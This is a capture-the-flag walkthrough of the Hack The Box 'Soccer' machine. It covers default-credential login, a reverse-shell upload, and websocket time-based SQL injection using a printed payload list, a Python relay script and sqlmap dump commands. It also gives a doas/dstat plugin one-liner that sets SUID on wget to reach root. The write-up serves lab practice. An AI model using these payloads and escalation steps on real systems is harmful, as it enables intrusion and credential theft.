Soccer

Welcome back today we have an easy machine that has a common vulnerability to exploit in a strange way to become user, where we can learn a lot.

So let's start with a usual nmap scan to get started.

# Nmap 7.93 scan initiated Sat Jun 10 10:08:57 2023 as: nmap -sS -sC -sV -oN scans/nmap.txt 10.10.11.194 Nmap scan report for soccer.htb (10.10.11.194) Host is up (0.28s latency). Not shown: 997 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 ad0d84a3fdcc98a478fef94915dae16d (RSA) | 256 dfd6a39f68269dfc7c6a0c29e961f00c (ECDSA) |_ 256 5797565def793c2fcbdb35fff17c615c (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-server-header: nginx/1.18.0 (Ubuntu) |_http-title: Soccer - Index 9091/tcp open xmltec-xmlmail? | fingerprint-strings: | DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, SSLSessionReq, drda, informix: | HTTP/1.1 400 Bad Request | Connection: close | GetRequest: | HTTP/1.1 404 Not Found | Content-Security-Policy: default-src 'none' | X-Content-Type-Options: nosniff | Content-Type: text/html; charset=utf-8 | Content-Length: 139 | Date: Sat, 10 Jun 2023 14:09:13 GMT | Connection: close | <!DOCTYPE html> | <html lang="en"> | <head> | <meta charset="utf-8"> | <title>Error</title> | </head> | <body> | <pre>Cannot GET /</pre> | </body> | </html> | HTTPOptions, RTSPRequest: | HTTP/1.1 404 Not Found | Content-Security-Policy: default-src 'none' | X-Content-Type-Options: nosniff | Content-Type: text/html; charset=utf-8 | Content-Length: 143 | Date: Sat, 10 Jun 2023 14:09:13 GMT | Connection: close | <!DOCTYPE html> | <html lang="en"> | <head> | <meta charset="utf-8"> | <title>Error</title> | </head> | <body> | <pre>Cannot OPTIONS /</pre> | </body> |_ </html> 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port9091-TCP:V=7.93%I=7%D=6/10%Time=64848403%P=x86_64-pc-linux-gnu%r(in SF:formix,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r SF:\n\r\n")%r(drda,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x SF:20close\r\n\r\n")%r(GetRequest,168,"HTTP/1\.1\x20404\x20Not\x20Found\r\ SF:nContent-Security-Policy:\x20default-src\x20'none'\r\nX-Content-Type-Op SF:tions:\x20nosniff\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nCo SF:ntent-Length:\x20139\r\nDate:\x20Sat,\x2010\x20Jun\x202023\x2014:09:13\ SF:x20GMT\r\nConnection:\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lang SF:=\"en\">\n<head>\n<meta\x20charset=\"utf-8\">\n<title>Error</title>\n</ SF:head>\n<body>\n<pre>Cannot\x20GET\x20/</pre>\n</body>\n</html>\n")%r(HT SF:TPOptions,16C,"HTTP/1\.1\x20404\x20Not\x20Found\r\nContent-Security-Pol SF:icy:\x20default-src\x20'none'\r\nX-Content-Type-Options:\x20nosniff\r\n SF:Content-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x20143\ SF:r\nDate:\x20Sat,\x2010\x20Jun\x202023\x2014:09:13\x20GMT\r\nConnection: SF:\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lang=\"en\">\n<head>\n<me SF:ta\x20charset=\"utf-8\">\n<title>Error</title>\n</head>\n<body>\n<pre>C SF:annot\x20OPTIONS\x20/</pre>\n</body>\n</html>\n")%r(RTSPRequest,16C,"HT SF:TP/1\.1\x20404\x20Not\x20Found\r\nContent-Security-Policy:\x20default-s SF:rc\x20'none'\r\nX-Content-Type-Options:\x20nosniff\r\nContent-Type:\x20 SF:text/html;\x20charset=utf-8\r\nContent-Length:\x20143\r\nDate:\x20Sat,\ SF:x2010\x20Jun\x202023\x2014:09:13\x20GMT\r\nConnection:\x20close\r\n\r\n SF:<!DOCTYPE\x20html>\n<html\x20lang=\"en\">\n<head>\n<meta\x20charset=\"u SF:tf-8\">\n<title>Error</title>\n</head>\n<body>\n<pre>Cannot\x20OPTIONS\ SF:x20/</pre>\n</body>\n</html>\n")%r(RPCCheck,2F,"HTTP/1\.1\x20400\x20Bad SF:\x20Request\r\nConnection:\x20close\r\n\r\n")%r(DNSVersionBindReqTCP,2F SF:,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")% SF:r(DNSStatusRequestTCP,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnect SF:ion:\x20close\r\n\r\n")%r(Help,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r SF:\nConnection:\x20close\r\n\r\n")%r(SSLSessionReq,2F,"HTTP/1\.1\x20400\x SF:20Bad\x20Request\r\nConnection:\x20close\r\n\r\n"); Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sat Jun 10 10:09:20 2023 -- 1 IP address (1 host up) scanned in 22.99 seconds

From here we can simply visit the website

Nothing cool here, so we can try to run gobuster to spot some hidden folders

┌──(kali㉿kali)-[~/diego/Hack_the_box/Machines/Soccer] └─$ cat scans/gbusterSecCommon.txt /.htaccess (Status: 403) [Size: 162] /.htpasswd (Status: 403) [Size: 162] /tiny (Status: 301) [Size: 178] [--> http://soccer.htb/tiny/]

There is the /tiny page that we can visit where there is a login form

By looking at the source code we can find the used Framework by the site, by looking for it in internet we can spot some defuault credentials that we can try

That could be even found by searching the version online which will redirect us to an exploit of a CVE

And if we try to insert them we get the access

Now we have to find a way to get a foothold, here its kinda easy because we just have to upload a reverse shell and open it with the direct-link

In order to get it we have to change the directory from tiny to uploads where we're allowed to manage files, then we need to listen and open the revshell

Now we are not allowed to get the user flag, so we got to privesc to player

From the error page we see the webserver's version which is nginx

So we can check to the root folder of it or the /etc/nginx if we can find some interesting stuffs.

Like from the /etc/nginx/sites-enabled/ where we can find an interesting file or soc-player.htb, a new sub-domain

(remote) www-data@soccer:/etc/nginx/sites-enabled$ cat soc-player.htb server { listen 80; listen [::]:80; server_name soc-player.soccer.htb; root /root/app/views; location / { proxy_pass http://localhost:3000; proxy_http_version 1.1; proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection 'upgrade'; proxy_set_header Host $host; proxy_cache_bypass $http_upgrade; } }

In order to visit the new sub-domain we need to add it next to the one we added before in the /etc/hosts.

From there we can see that we are allowed to register and then login.

We get redirected to the tickets page where we can’t do more but we can spot from the source code that we are on a websocket

Being in a websocket means that to interact with it we have to create a special code in python that let us to comunicate with it or either use burpsuite with a special request.

import asyncio import websockets async def connect_websocket(): async with websockets.connect("ws://soc-player.soccer.htb:9091/") as websocket: print("WebSocket connection established.") while True: wordlist = "" with open(wordlist) as list: message = input("Enter a message to send (or 'exit' to quit): ") message = '{"id":' + f'"{message}"' + "}" print(message) if message.lower() == 'exit': break await websocket.send(message) print("Message sent.") response = await websocket.recv() print("Received message:", response) print("WebSocket connection closed.") asyncio.run(connect_websocket())

Here we created a code in async to make it faster but it is not necessary, and if we run it here is result that we get via bash

Like this we’ve established a comunication with the ws, and now we can try to check if it is vulnerable to something like the SQL Injection. After some tests we see that there are no error messages so we have to exploit it with time-based payloads.

This is the used wordlist to spot the vuln

sleep(5)# 1 or sleep(5)# " or sleep(5)# ' or sleep(5)# " or sleep(5)=" ' or sleep(5)=' 1) or sleep(5)# ") or sleep(5)=" ') or sleep(5)=' 1)) or sleep(5)# ")) or sleep(5)=" ')) or sleep(5)=' ;waitfor delay '0:0:5'-- );waitfor delay '0:0:5'-- ';waitfor delay '0:0:5'-- ";waitfor delay '0:0:5'-- ');waitfor delay '0:0:5'-- ");waitfor delay '0:0:5'-- ));waitfor delay '0:0:5'-- '));waitfor delay '0:0:5'-- "));waitfor delay '0:0:5'-- benchmark(10000000,MD5(1))# 1 or benchmark(10000000,MD5(1))# " or benchmark(10000000,MD5(1))# ' or benchmark(10000000,MD5(1))# 1) or benchmark(10000000,MD5(1))# ") or benchmark(10000000,MD5(1))# ') or benchmark(10000000,MD5(1))# 1)) or benchmark(10000000,MD5(1))# ")) or benchmark(10000000,MD5(1))# ')) or benchmark(10000000,MD5(1))# pg_sleep(5)-- 1 or pg_sleep(5)-- " or pg_sleep(5)-- ' or pg_sleep(5)-- 1) or pg_sleep(5)-- ") or pg_sleep(5)-- ') or pg_sleep(5)-- 1)) or pg_sleep(5)-- ")) or pg_sleep(5)-- ')) or pg_sleep(5)-- AND (SELECT * FROM (SELECT(SLEEP(5)))bAKL) AND 'vRxe'='vRxe AND (SELECT * FROM (SELECT(SLEEP(5)))YjoC) AND '%'=' AND (SELECT * FROM (SELECT(SLEEP(5)))nQIP) AND (SELECT * FROM (SELECT(SLEEP(5)))nQIP)-- AND (SELECT * FROM (SELECT(SLEEP(5)))nQIP)# SLEEP(5)# SLEEP(5)-- SLEEP(5)=" SLEEP(5)=' or SLEEP(5) or SLEEP(5)# or SLEEP(5)-- or SLEEP(5)=" or SLEEP(5)=' waitfor delay '00:00:05' waitfor delay '00:00:05'-- waitfor delay '00:00:05'# benchmark(50000000,MD5(1)) benchmark(50000000,MD5(1))-- benchmark(50000000,MD5(1))# or benchmark(50000000,MD5(1)) or benchmark(50000000,MD5(1))-- or benchmark(50000000,MD5(1))# pg_SLEEP(5) pg_SLEEP(5)-- pg_SLEEP(5)# or pg_SLEEP(5) or pg_SLEEP(5)-- or pg_SLEEP(5)# '\" AnD SLEEP(5) AnD SLEEP(5)-- AnD SLEEP(5)# &&SLEEP(5) &&SLEEP(5)-- &&SLEEP(5)# ' AnD SLEEP(5) ANd '1 '&&SLEEP(5)&&'1 ORDER BY SLEEP(5) ORDER BY SLEEP(5)-- ORDER BY SLEEP(5)# (SELECT * FROM (SELECT(SLEEP(5)))ecMj) (SELECT * FROM (SELECT(SLEEP(5)))ecMj)# (SELECT * FROM (SELECT(SLEEP(5)))ecMj)-- +benchmark(3200,SHA1(1))+' + SLEEP(10) + ' RANDOMBLOB(500000000/2) AND 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2)))) OR 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2)))) RANDOMBLOB(1000000000/2) AND 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2)))) OR 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2)))) SLEEP(1)/*' or SLEEP(1) or '" or SLEEP(1) or "*/

After this we have to change a bit the source code to make it send all the lines as input, with the goal to trigger some vulns

import asyncio import websockets async def connect_websocket(): async with websockets.connect("ws://soc-player.soccer.htb:9091/") as websocket: print("WebSocket connection established.") while True: wordlist = "timeBasedPayloads.txt" with open(wordlist, "r") as list: for payload in list: message = payload.strip() message = '{"id":' + f'"{message}"' + "}" print(message) if message.lower() == 'exit': break await websocket.send(message) print("Message sent.") response = await websocket.recv() print("Received message:", response) print("WebSocket connection closed.") asyncio.run(connect_websocket())

Here is the result

As you can see with the input {"id":"sleep(5)"#} we get the desired delay of 5 second and same for next input or {"id":"1 or sleep(5)#"}.

Now that we know it, we can try to use sqlmap to make it extract all the informations, the only problem is that we can’t simply insert the URL as a POST request, so we have two ways that we can follow.

We can either use only Sqlmap, or use this code provided by a user on github

MIddleWare Server

from http.server import SimpleHTTPRequestHandler from socketserver import TCPServer from urllib.parse import unquote, urlparse from websocket import create_connection ws_server = "ws://soc-player.soccer.htb:9091" def send_ws(payload): ws = create_connection(ws_server) # If the server returns a response on connect, use below line #resp = ws.recv() # If server returns something like a token on connect you can find and extract from here # For our case, format the payload in JSON message = unquote(payload).replace('"','\'') # replacing " with ' to avoid breaking JSON structure data = '{"id":"%s"}' % message ws.send(data) resp = ws.recv() ws.close() if resp: return resp else: return '' def middleware_server(host_port,content_type="text/plain"): class CustomHandler(SimpleHTTPRequestHandler): def do_GET(self) -> None: self.send_response(200) try: payload = urlparse(self.path).query.split('=',1)[1] except IndexError: payload = False if payload: content = send_ws(payload) else: content = 'No parameters specified!' self.send_header("Content-type", content_type) self.end_headers() self.wfile.write(content.encode()) return class _TCPServer(TCPServer): allow_reuse_address = True httpd = _TCPServer(host_port, CustomHandler) httpd.serve_forever() print("[+] Starting MiddleWare Server") print("[+] Send payloads in http://localhost:8081/?id=*") try: middleware_server(('0.0.0.0',8081)) except KeyboardInterrupt: pass

Here we change the real cookie with the one that we need or {'id':'*'} , like this we can run the server from a terminal and then run sqlmap from the other by using http://localhost:8081/?id=1 as url

Like this we can extract whatever we want

# [0] zsh python3 WebSocketSQLi.py # [1] zsh sqlmap -u "http://localhost:8081/?id=*" -p "id" -o --batch --dump --thread 30

Here is the result

Instead we could only use Sqlmap by specifying the argument that we want to pass through the request with the --data flag and specifying the cookie we like.

sqlmap -u "ws://soc-player.soccer.htb:9091" --data '{"id": "*"}' --threads 50 --level 5 --risk 3 --batch --dump

Here we added:

WIth this query we can retrieve the desired content, by adding the Database and the Table

sqlmap -u "ws://soc-player.soccer.htb:9091" --data '{"id": "*"}' --threads --level 5 --risk 3 --batch -D soccer_db -T accounts --dump

Here are the creds for the user player.

It turned out that password is the one of the ssh connection.

Now we can finally fetch the user.txt flag

Root.txt

After the user we have to escalate to root, for this reason we got to fetch linpeas.sh, via python3 web-server

By running it we can see that there is a strange command that we can run with the SUID bit set, or doas

As you can see it is not highlited by linpeas but it can be used to become root, because in it are stored the command that some users can run without password as other users

By looking at the doas.conf file we can see this specifications

Here we can see that we’re allowed to run the command /usr/bin/dstat as root without any password which, even this, is a command that can lead to a shell if we can run it as sudo. Basically it is used to see an overview of systems in real-time.

So to get the root instead of using sudo we will use doas which does the same work as it; so by looking at this link or even gtfobins, we can simply add the s bit to a command to become root.

The idea is simple we got to create a new plugin that we can insert in the /usr/local/share/dstat folder, where the command fetch the python files, as you can see below.

So we simply have to create a python script that add the s bit to a command and then run it with doas

echo 'import os; os.system("chmod +s /usr/bin/wget")' > /usr/local/share/dstat/dstat_giveMeRoot.py

To check if it worked we can use the command dstat --list

The plugin got added so now we can run it as root with doas

Don’t worry about the error it worked anyway, as you can see by checking the permission of wget

So now we just have to follow the instruction of [gtfobins](https://gtfobins.github.io/gtfobins/wget/#sudo) to become root with wget.

By running these commands.

And we are root so now we can fetch even the root flag

We did it!